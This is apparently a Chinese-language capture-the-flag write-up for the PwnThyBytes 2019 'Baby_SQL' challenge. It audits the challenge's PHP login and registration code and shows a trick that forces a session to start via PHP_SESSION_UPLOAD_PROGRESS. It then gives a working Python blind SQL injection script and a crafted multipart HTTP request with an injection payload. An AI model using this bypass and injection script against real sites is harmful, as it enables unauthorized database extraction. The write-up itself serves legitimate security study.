[PwnThyBytes 2019]Baby_SQL 1

发布时间 2023-11-08 00:03:55作者: J0ck3r

0x01源码审计
通过提示信息获取源码,然后审计。
通过审计发现可能的注入点:register.php 和login.php
register.php:

<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
?>

需要绕过preg_match,且需要$_SESSION值
login.php:

<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>

需要$_SESSION值,查询语句没有过滤,但是别忘了index.php:

<?php
session_start();

foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");
    return addslashes($value);
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>

在加载login.php之前会有在index.php进行过滤。

0x02解题思路
本题突破点在于下面这个小知识点:
** 在phpsession里如果在php.ini中设置session.auto_start=On,那么PHP每次处理PHP文件的时候都会自动执行session_start(),但是session.auto_start默认为Off。与Session相关的另一个叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()**
可以访问login.php传入恶意username或password的时候post参数PHP_SESSION_UPLOAD_PROGRESS。
0x3白嫖EXP
由于login.php中sql执行失败或成功有提示,所以尝试盲注。
参考:https://blog.csdn.net/qq_46263951/article/details/119718128

import requests
import time
url = "https://ip:port/templates/login.php"
files = {"file": "123456789"}
'''字段值'''
flag=''
for i in range(1,100):
    low = 32
    high = 128
    mid = (low+high)//2
    while (low < high):
        time.sleep(0.06)
        payload_flag = {'username': "test\" or (ascii(substr((select group_concat(secret) from flag_tbl ),{0},1))>{1}) #".format(i,mid),'password': 'test'}
        r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"})
        print(payload_flag)
        if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
            low = mid +1
        else:
            high = mid
        mid = (low + high) // 2
    if(mid==32 or mid == 132):
        break
    flag +=chr(mid)
    print(flag)
print(flag)

不想写exp,下面尝试sqlmap:
没成功。。。
post参数PHP_SESSION_UPLOAD_PROGRESS存在问题,不是post这么简单————需要上传成一个文件的样子,后续再说
这种方法的难点在于数据包的构建,需要构建如下数据包:

POST /templates/login.php?username=test%22%20or%20(select%20database())%20%23&password=test HTTP/1.1

Host: b6e0c9b5-3503-4ff3-abae-d1d1b14a23db.node4.buuoj.cn:81

User-Agent: python-requests/2.28.1

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Cookie: PHPSESSID=test1

Content-Length: 264

Content-Type: multipart/form-data; boundary=d7bfb9c063f6f0149f0fc8f373305437



--d7bfb9c063f6f0149f0fc8f373305437

Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"



123456789

--d7bfb9c063f6f0149f0fc8f373305437

Content-Disposition: form-data; name="file"; filename="file"



123456789

--d7bfb9c063f6f0149f0fc8f373305437--

需要传递名为PHP_SESSION_UPLOAD_PROGRESS的参数(该参数的值123456789会保存再session中,在某些条件下还可以用于写入webshell)

证明绕过了session检测。
sqlmap:。。。放弃!?

0x03Tips
1.如何通过PHP_SESSION_UPLOAD_PROGRESS特征初始化Session
https://cloud.tencent.com/developer/article/2035863